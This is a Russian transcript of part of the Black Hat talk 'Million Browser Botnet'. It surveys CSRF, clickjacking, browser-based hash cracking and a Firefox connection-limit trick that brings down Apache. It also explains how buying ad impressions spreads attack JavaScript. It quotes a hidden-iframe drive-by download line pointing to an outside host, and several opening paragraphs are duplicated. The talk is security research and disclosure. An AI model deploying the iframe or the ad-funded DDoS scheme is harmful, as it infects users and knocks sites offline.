Джереми Гроссман: я рад приветствовать всех вас и хочу сказать, что мы готовили эту презентацию целых 6 месяцев, поэтому стремимся как можно скорее поделиться своими достижениями. Хочу поблагодарить весь штат Black Hat за приглашение, мы возвращаемся сюда каждый год, мы любим это событие. Спасибо вам за «Чёрную шляпу»! Мы постараемся, чтобы сегодняшняя презентация проходила весело, но сначала хотим представиться.
Я являюсь основателем и руководителем разработки новых продуктов компании WhiteHat Security, расположенной в Санта-Кларе, Калифорния. В нашей компании около 300 сотрудников.
Мэтт работает управляющим центра по исследованию угроз безопасности. У «белоголовых» мы главным образом занимаемся тем, что вламываемся на веб-сайты, находим в них уязвимости и делаем это в массовом масштабе. Но у нас ещё остаётся немного времени на исследования, так что сегодня мы собираемся начать взламывать браузеры и использовать их для взлома сайтов и показать вам полный цикл веб-безопасности. Впервые я выступил здесь в 2002 году. Большую часть времени я занимаюсь исследованиями в области разработки и презентации наших продуктов.
Мэтт Йохансон: у меня имеется опыт работы в качестве тестера на проникновение (пентестера), и свою работу в компании я начал со взлома сайтов, поскольку до этого сам возглавлял армию хакеров. Я провожу крутые исследования и много беру за это, так что можете ко мне обращаться.
Джереми Гроссман: итак, начнем нашу вечеринку. Я не думаю, что здесь есть хотя один человек, который сегодня не заходил в Интернет. Может быть сейчас вы не подключены к Интернет, но когда придёте домой, все присутствующие здесь и все, кого вы знаете, все будут с ним взаимодействовать с помощью браузера. Это просто часть нашей повседневной жизни, и я опишу вам, что это означает, но в первую очередь Интернет предназначен для работы. Мы не взламываем Интернет, мы стараемся использовать его для своих целей.
Когда вы посещаете веб-страницу, не имеет значения, какой браузер используется — Chrome, Firefox, Safari, IE или Opera, в любом случае сеть интернет работает так, что полностью контролирует ваш браузер, пока вы находитесь на этой странице или когда вы ищите следующую страницу.
JavaScript или флеш на этой странице может заставить браузер делать всё, что угодно – любые типы ответов на запросы к любому месту в интернете или интранете. Это включает в себя CSRF – фальшивые межсайтовые запросы, XSS – межсайтовый скриптинг, кликджекинг и множество других трюков, которые позволяет получить контроль над браузером.
Сейчас мы попробуем обрести некоторое понимание того, что такое безопасность браузера, но основная идея заключается в том, чтобы получить общее представление о контроле браузера без использования эксплойтов zero-day, против которых нет патчей.
Мэтт Йохансон: если вы ничего не знаете о XSS, можете спросить об этом нас.
Джереми Гроссман: сейчас я хочу кратко рассказать об атаках на браузер, которые используют HTML или вредоносный JavaScript:
Я являюсь основателем и руководителем разработки новых продуктов компании WhiteHat Security, расположенной в Санта-Кларе, Калифорния. В нашей компании около 300 сотрудников.
Мэтт работает управляющим центра по исследованию угроз безопасности. У «белоголовых» мы главным образом занимаемся тем, что вламываемся на веб-сайты, находим в них уязвимости и делаем это в массовом масштабе. Но у нас ещё остаётся немного времени на исследования, так что сегодня мы собираемся начать взламывать браузеры и использовать их для взлома сайтов и показать вам полный цикл веб-безопасности. Впервые я выступил здесь в 2002 году. Большую часть времени я занимаюсь исследованиями в области разработки и презентации наших продуктов.
Мэтт Йохансон: у меня имеется опыт работы в качестве тестера на проникновение (пентестера), и свою работу в компании я начал со взлома сайтов, поскольку до этого сам возглавлял армию хакеров. Я провожу крутые исследования и много беру за это, так что можете ко мне обращаться.
Джереми Гроссман: итак, начнем нашу вечеринку. Я не думаю, что здесь есть хотя один человек, который сегодня не заходил в Интернет. Может быть сейчас вы не подключены к Интернет, но когда придёте домой, все присутствующие здесь и все, кого вы знаете, все будут с ним взаимодействовать с помощью браузера. Это просто часть нашей повседневной жизни, и я опишу вам, что это означает, но в первую очередь Интернет предназначен для работы. Мы не взламываем Интернет, мы стараемся использовать его для своих целей.
Когда вы посещаете веб-страницу, не имеет значения, какой браузер используется — Chrome, Firefox, Safari, IE или Opera, в любом случае сеть интернет работает так, что полностью контролирует ваш браузер, пока вы находитесь на этой странице или когда вы ищите следующую страницу.
JavaScript или флеш на этой странице может заставить браузер делать всё, что угодно – любые типы ответов на запросы к любому месту в интернете или интранете. Это включает в себя CSRF – фальшивые межсайтовые запросы, XSS – межсайтовый скриптинг, кликджекинг и множество других трюков, которые позволяет получить контроль над браузером.
Сейчас мы попробуем обрести некоторое понимание того, что такое безопасность браузера, но основная идея заключается в том, чтобы получить общее представление о контроле браузера без использования эксплойтов zero-day, против которых нет патчей.
Мэтт Йохансон: если вы ничего не знаете о XSS, можете спросить об этом нас.
Джереми Гроссман: сейчас я хочу кратко рассказать об атаках на браузер, которые используют HTML или вредоносный JavaScript:
- опрос браузера Browser Interrogation;
- фальшивые межсайтовые запросы;распознавание логина Login Detection;деанонимизация;
взлом внутренней сети Интранет;
автоматический межсайтовый скриптинг;
традиционное вредоносное ПО, попадающее на компьютер пользователя при загрузке по методу Drive-by-Download;
взлом хэша методом брутфорс;
атаки DDoS на уровне приложений.
На этом слайде вы видите образец Browser Interrogation – это просто JavaScript, который остается в браузере, когда вы переходите на другой сайт. Это скриншот с сайта CNN. Когда вы заходите на их сайт, к вашему браузеру подключается имеющаяся там метрика, которая совершает полный опрос и получает целую кучу информации о вашем просмотре: что у вас за браузер, какая версия, какие плагины подключены, какая у вас ОС. Они делают это, потому что хотят знать, кто посетил их сайт. В наше время это весьма распространённая технология.
Дальше рассмотрим более продвинутую технологию — подделку межсайтовых запросов JavaScript. Здесь не требуется много усилий, не нужно запускать вредоносный скрипт, просто ваш браузер с JavaScript или HTML используется для взлома любого другого сайта. CSRF использует вашу историю поиска в Google и принуждает ваш браузер загружать или выгружать нелегальный контент, инициировать банковский перевод, если вы вошли в свой личный кабинет на сайте банка, он заставит отправить оскорбительные сообщения или голосовать за Эда Сноудена как за Человека года.
Мэтт Йохансон: CSRF может принудить вас не только скачать хиты Джастина Бибера, но и скачать детское порно.
Джереми Гроссман: итак, первая строка на слайде принуждает ваш браузер совершить инъекцию вредоносного содержимого в любой другой сайт, то есть может сделать из вас хакера, вторая заставит скачать торрент и сделает вас пиратом, нарушающим все виды лицензий DMCA, третья отправит в фан–клуб Джастина Бибера, четвёртая – проголосовать на каком-то сайте.
Далее следует распознавание логина Login Detection — это когда вы заходите на сайт, который мы контролируем. Мы можем узнать, что вы зашли в свой аккаунт в Google, Facebook, Twitter, Linkedin. Существует 6 различных технологий, позволяющих извлечь данные авторизации из вашего браузера. Мы изучаем ваши предпочтения и осуществляем целенаправленную атаку на конкретного пользователя.
Ещё одна атака – это кликджекинг, она позволяет раскрыть ваши данные, как только вы щелкните по какой-нибудь картинке или кнопке. Допустим, вы вошли в Twitter или Facebook и лайкнули изображение танцующей кошечки. Вы нажимаете на что-то безобидное, но в действительности вы жмёте на одну из таких кнопок и раскрываете свои данные. Всего один клик — и мы знаем ваше имя, местоположение, знаем данные, которые вы разместили в своём профиле на Twitter или LinkedIn.
Мэтт Йохансон: некоторые компании занимаются таким отслеживанием, так как ваше полное имя может представлять для них большую ценность для целевой рекламы своего товара или услуг.
Джереми Гроссман: пока что мы прошлись по хорошо известным вещам, по крайней мере, хорошо известным аудитории «Чёрной шляпы». Вам также известен взлом внутренней сети Интранет путём внедрения вредоносного JavaScript через HTTP в ваш DSL-маршрутизатор, обеспечивающий соединение с сетью.
Впервые это было обнаружено в 2006 году и до сих пор данная уязвимость не устранена. Далее у нас имеется вид атаки «автоматический межсайтовый скриптинг», когда при помощи iframe выполняется инъекция вредоносного XSS кода, что позволяет красть ваши кукиз, сохранённые пароли и так далее. В основном это осуществляется через портал провайдера электронной почты.
Наконец, можно загрузить традиционное вредоносное ПО методом Drive-by-Downloads с помощью инъекции вот такой строки:
<iframe src="http: //lotmachinesguide .cn/ in.cgi?income56" width=1 height=1 style="visibility: hidden"></iframe>
В результате чего ваш браузер отправляется на зараженные сайты для закачки вредоносного контента, который затем контролирует ваш компьютер. Здесь объектом атаки может быть сам браузер или его расширения, в основном эти атаки используются для создания сети ботнет, и чтобы избежать этой угрозы, нужно вовремя ставить патчи, а лучше вообще удалить Java. Коротко это те методы атак, на которых мы собираемся сосредоточится в данном выступлении.
Мэтт Йохансон: Джереми рассказал о вещах, о которых уже упоминалось на прошлых конференциях BlackHat. Я бы хотел рассказать о другом исследовании, которое было посвящено распределенным вычислениям с использованием JavaScript для взлома паролей. Это крутая вещь, потому что её можно просто написать и она действует очень и очень быстро. Исследования Лавакумара Куппана свидетельствуют о том, что с помощью придуманной им метрики можно на самом деле взломать или попытаться взломать сто тысяч MD5 хэшей в секунду, используя JavaScript, если вы сможете распространить этот JavaScript.
На следующем слайде показан принцип работы системы распределённых вычислений Ravan, основанной на JavaScript, которая может атаковать хэши через несколько браузеров с помощью атаки типа брутфорс.
Она использует HTML5 для запуска JavaScript в фоновом режиме WebWorkers, включая в единую сеть перебора паролей множество компьютеров, на которых открыт браузер. Она находит пароль пользователя, совпадающий с определённым хэшем, перебирая от 60 до 70 тысяч паролей в секунду, для этого используется 12 WebWorkers.
Это очень быстрая вещь, позже мы остановимся на том, как она распространяется. Кроме этого вопроса, мы серьёзно в течение нескольких месяцев занимались исследованиями приложений, вызывающих отказ сервиса (DoS). Браузер может отправлять удивительно большое количество запросов GET к удаленному сайту, используя COR от WebWorkers. Во время исследований было обнаружено, что с одного браузера может быть оправлено около 10 000 запросов в минуту. При этом браузер не держит открытыми много TCP-соединений, он просто синхронно запускает много HTTP-запросов. Можно использовать как один браузер, так и несколько браузеров, нацеленных на один сайт. Но вы в любой момент можете увеличить интенсивность атаки, увеличив число соединений.
Джереми Гроссман: я расскажу об ограничениях браузера на соединения.
Инструмент под названием Browserscope показывает, сколько соединений одновременно может поддерживать определённый браузер или определённая версия браузера. Все браузеры поддерживают не более 6 соединений с одним именем хоста, а максимальное число соединений, например, в IE версии 8 и 9 достигает 35. Каждый браузер имеет предел количества соединений не для безопасности, а для стабильности и производительности, потому что вы заходите на сайт, посылаете запрос, и ваш браузер начинает скачивать контент.
Мы проверяли эти показатели и можем сказать, что большинство браузеров действительно обеспечивают работу с 6, максимум с 7 соединениями. На следующем слайде показана работа Browserscope, который тестирует производительность различных браузеров, создавая множество одновременных соединений с сервером. В данном случае для Firefox было шесть устойчивых соединений.
Однако некоторые браузеры позволяют обойти это ограничение, и в своих испытаниях мы использовали Firefox для того, чтобы вызвать отказ сервиса. На следующем слайде показан скрипт Apache Killer, который помог обойти ограничение браузера, создать целый поток одновременных запросов к серверу и увеличить число одновременно открытых соединений с 6 до 300.
Здесь был использован протокол HTTP, но если использовать FTP через 80 порт, то число соединений возрастает до 400, и это действительно способно «убить» Apache – сервер.
Мэтт Йохансон: здесь важным отличием является то, что мы проделали это с помощью FTP, который не может использовать протокол HTTP. Поэтому мы не смогли проверить множество позиций из верхней части списка и не смогли выполнить много CSR приложений. Это просто соединения, которые мы попытались одновременно открыть, поэтому это не совсем традиционная DoS атака, когда злоумышленник пытается запустить как можно больше мегабит или гигабит в секунду или в час, это просто разрешённое количество одновременно открытых соединений.
Джереми Гроссман: сейчас я запущу на своём ноутбуке Apache–сервер, это простая «ванильная» версия Apache 2.4.4, где все основные настройки установлены по умолчанию и не могут оказать какого-то существенного влияния.
Мы собираемся сосредоточиться на первом цикле, я собираюсь установить здесь целую кучу запросов картинок на сервер, вы видите, как отсылаются запросы, и сервер не отвечает в течении 3-х секунд, а затем картинки начинают подгружаться сериями.
Мэтт Йохансон: это аспект производительности браузера, а не аспект безопасности. Мы, возможно, сможем злоупотребить этим в ущерб безопасности, вы увидите это через несколько минут. Но смысл данного действия состоит в том, чтобы загрузить одновременно все эти изображения.
Джереми Гроссман: я забыл упомянуть о статусе сервера, на левом нижнем экране вы видите, что статус показывает 7 одновременно открытых соединений, одно для окна браузера, а остальные 6 – для 6 загружаемых изображений. Это очень важно, так как сейчас мы пытаемся сломать верхнюю границу соединений в этом конкретном браузере. Сейчас я установлю значение соединений на 0, чтобы убить эти соединения, и покажу способ обхода ограничений в Firefox.
Мы просто зацикливаем это до 100 соединений с использованием FTP для одного и того же имени хоста. Им всем не нужен URL, потому что это FTP, он не отправляет HTTP. Посмотрите в левый нижний угол – статус сервера изменился, он показывает 100 соединений, 100 страниц для просмотра. Теперь давайте перейдём к 400 соединениям.
Страница обновляется каждую секунду, и когда число соединений доходит до 270, сервер охватывает «паника», что он не успевает обслужить больше запросов. Всё, что мы делаем, это загружаем этот код на веб-страницу, и Apache пытается довести число одновременно открытых соединений до 300. И всё это мы проделываем с помощью одного единственного браузера.
Сзади на фоне вы видите ещё одну прокрутку, у нас есть еще одна система на Amazon, это cиcтема AWS. Я не хочу убивать её DoS атакой прямо сейчас, поэтому предложил вам другой вариант демонстрации.
Мэтт Йохансон: теперь мы знаем, что можем сделать, по крайней мере, с помощью Firefox. Это не традиционная атака «отказ сервиса» и здесь не используется ботнет. У нас есть ещё еще несколько возможностей, но в целом преимущества взлома при таком методе атаки состоят в следующем:
- не нужно никакого вредоносного ПО, никаких эксплойтов или атак «нулевого дня»;
- никаких следов, никакой тревоги, запрет кэширования браузера;
- по умолчанию любой браузер уязвим для этой атаки;
- очень легко осуществить, вы сами видели, насколько просто выглядит код;
- как мы говорим – это работает так, как оно должно работать. Сеть интернет потенциально рассчитана на функционирование именно таким образом, то есть она должна обеспечивать загрузку множества изображений так быстро, как это только возможно.
Поэтому я не знаю, кто сможет устранить эту проблему. Давайте сосредоточим внимание на вопросе распространения этого способа атаки с использованием вредоносного кода JavaScript. Мы не будем рассматривать классические способы, которыми пользуются спамеры, типа рассылки электронных писем. Рассмотрим распространение обычным пользователем, то есть масштабирование с точки зрения обычного юзера:
- использование сайтов со значительным трафиком, которыми вы владеете (блог, программное обеспечение и т.д.);
- HTML инъекции в популярные сайты, форумы и т.д;
- cпособ «человек посередине» через Wi-Fi роутер;
- «отравление» поисковых движков;
- взлом сайтов путём массовой инъекции SQL-червей;
- виджеты третьих сторон (погодные, счётчики, трекеры и т.д.).
Дуглас Крокфорд сказал: «Самый надежный и самый рентабельный метод внедрить вредоносный код — это купить рекламу». Поэтому рассмотрим, как работают рекламные сети, потому что в интернете их предостаточно. На следующем слайде изображена своеобразная экосистема рекламы.
Итак, вверху вы видите, что рекламщики в первую очередь должны вам показать что-то, например, букет цветов для свидания. Они тратят на это деньги, но им нужны сайты, для того, чтобы довести свой товар до конечного потребителя. Они хотят держать в своих руках массовых распространителей — издателей информации, такой как блоги, новости, социальные сети, обзоры, популярные сайты, которые посещают много пользователей. Между рекламщиками и издателями существует мост, который называется «рекламные сети» — Advertising Networks. Они тратят деньги на то, чтобы размещать свою информацию в этих сетях, это могут быть изображения, всплывающие баннеры, JavaScript – всё что угодно, чтобы вы это увидели. Вы – это маленькие синие фигурки внизу слайда.
Мэтт Йохансон: сегодня утром мы зашли на сайт TMZ и сделали там этот потрясающий скриншот.
Вы видите рекламный блок в самом верху страницы и внизу справа.
Джереми Гроссман: все рекламные блоки, которые вы видите – это код JavaScript, расположенный прямо перед пользователями сайта TMZ и служащий привлечению их внимания с целью заработать немного денег. Существуют десятки и сотни таких рекламных сетей, но учтите, что изображение логотипа нашей компании в правом верхнем углу слайда не является рекламной сетью! Некоторые из этих сетей используют JavaScript, некоторые нет.
Так вот, я написал владельцам одной рекламной сети письмо про то, что хотел бы разместить рекламный JavaScript третьей стороны в их системе. Один из парней ответил мне очень быстро, буквально через пару минут. Он написал, что они разрешают размещение такого кода только от крупных и известных компаний, таких как DoubleClick, которым они доверяют и которые сканируют на своей стороне все материалы на предмет наличия потенциальных уязвимостей. И если я работаю с такими крупными рекламными серверами третьих особ, как DFA и им подобные, то они найдут возможность разместить мой JavaScript.
Так ведут себя все традиционные рекламные сети – вы платите им деньги, получаете несколько метрик и они размещают вашу рекламу. Существует и другой тип сетей, с которыми мы столкнулись. Мы намеренно не даем вам их названия, потому что не знаем, будут ли у нас из-за этого неприятности.
Данные системы работают таким образом – вы платите немного денег за то, чтобы кто-то, сидя вечером дома перед компьютером, просматривал вашу страницу через свой браузер определённое количество времени. Получается, что вы покупаете время браузера за копейки – в данном случае 10 тысяч минут просмотра можно купить за примерно за $10,5.
Мэтт Йохансон: важным обстоятельством является то, что данный метод платных просмотров широко используется для взлома пароля. Потому что злоумышленнику требуется много времени на взлом пароля или логина методом брутфорс, а данные рекламные сети не гарантируют, что ваш браузер будет просматривать именно рекламу, а не подхватит вредоносный код, который запустится, как только рекламное объявление загрузится на страницу. Вы платите за это, но если человек сидит там минуту, 10 минут, 2 секунды, нет гарантий, что вы не платите за то, что вас могут использовать для DoS-атаки.
Джереми Гроссман: обратите внимание на последнюю строчку – вы можете купить миллион минут просмотра, это почти 2 года времени браузера, примерно за $650. Так что это хорошая метрика!
Теперь интернет работает на рекламе, и стоит это гроши. Вернемся к повестке дня и сосредоточимся на двух последних видах атак — взлом хэша методом брутфорс и атаки DDoS на уровне приложений. Вы видите, что их легко масштабировать на миллионе браузером или просто заплатить 650 долларов и запустить взлом пароля на время, эквивалентное двум годам. Мы собираемся показать вам пару демонстраций, но сначала давайте поговорим об экономике.
Мэтт Йохансон: вы видели этот скриншот покупки минут, но в рекламных сетях имеется свой собственный язык, выучить который мне было нелегко. Рекламщики называют это «впечатлениями», но речь идёт о платных услугах показа рекламы на конкретных страницах. Последние несколько месяцев цена держится в пределах 50 центов за 1000 «впечатлений», или за тысячу показов рекламы. Существуют ценники «стоимость одного клика» CPC и «стоимость тысячи» CPM.
Поэтому когда я говорю «впечатление», вы должны представлять себе браузер как бота, как будто бы вы наняли одного человека для того, чтобы загрузить свою рекламу в браузер и получить контроль над этим браузером в данный момент. Итак, они называют это «впечатлением», а мы зовём это «ботом».
Джереми Гроссман: не существует никаких препятствий для того, чтобы плохие парни, настоящие плохие парни, крадущие кредитные карты, не смогли бы использовать эти украденные карты для покупки рекламных минут или «впечатлений».
Мэтт Йохансон: на следующем скриншоте вы видите статистику по рекламной сети, которую мы использовали в своих исследованиях.
Мы чувствовали себя как перед приборной панелью, кликая кнопки и пытаясь сделать так, чтобы наши объявления отображались в этой сети. Мы не показывали никаких объявлений, просто пустышки, и не запускали наш код JavaScript. Мы просто попробовали себя в роли рекламодателей и старались оставаться настолько незаметными для пользователя и владельцев рекламной сети, насколько это было возможно, чтобы они просто позволили нам применить наши мирные хакерские способы, командуя нашими собственными веб-серверами. За несколько месяцев нашего исследования мы не потратили даже 10 баксов.
Вы можете установить ежедневные лимиты на все виды рекламных вещей, можете выбрать конкретные ключевые слова, на которых должны фокусироваться пользователи, выбрать геолокацию аудитории, операционные системы или браузеры, которые буду показывать ваше рекламное объявление, можете сосредоточить рекламу на мобильных или стационарных устройствах пользователей.
Я просто выбрал как можно более широкий охват аудитории, а в качестве ключевого слова выбрал слово «компьютеры». В первый день мы купили всего 15 кликов, это стоило нам $4, в результате мы получили или 8326 «впечатлений». Представьте себе, что благодаря такой выгодной инвестиции ваш код мог бы быть загружен в 8326 браузеров на протяжении 24 часового периода!
Конференция BLACK HAT USA. Ботнет из миллиона браузеров. Часть 2
Спасибо, что остаётесь с нами. Вам нравятся наши статьи? Хотите видеть больше интересных материалов? Поддержите нас оформив заказ или порекомендовав знакомым, 30% скидка для пользователей Хабра на уникальный аналог entry-level серверов, который был придуман нами для Вас: Вся правда о VPS (KVM) E5-2650 v4 (6 Cores) 10GB DDR4 240GB SSD 1Gbps от $20 или как правильно делить сервер? (доступны варианты с RAID1 и RAID10, до 24 ядер и до 40GB DDR4).
VPS (KVM) E5-2650 v4 (6 Cores) 10GB DDR4 240GB SSD 1Gbps до декабря бесплатно при оплате на срок от полугода, заказать можно тут.
Dell R730xd в 2 раза дешевле? Только у нас 2 х Intel Dodeca-Core Xeon E5-2650v4 128GB DDR4 6x480GB SSD 1Gbps 100 ТВ от $249 в Нидерландах и США! Читайте о том Как построить инфраструктуру корп. класса c применением серверов Dell R730xd Е5-2650 v4 стоимостью 9000 евро за копейки?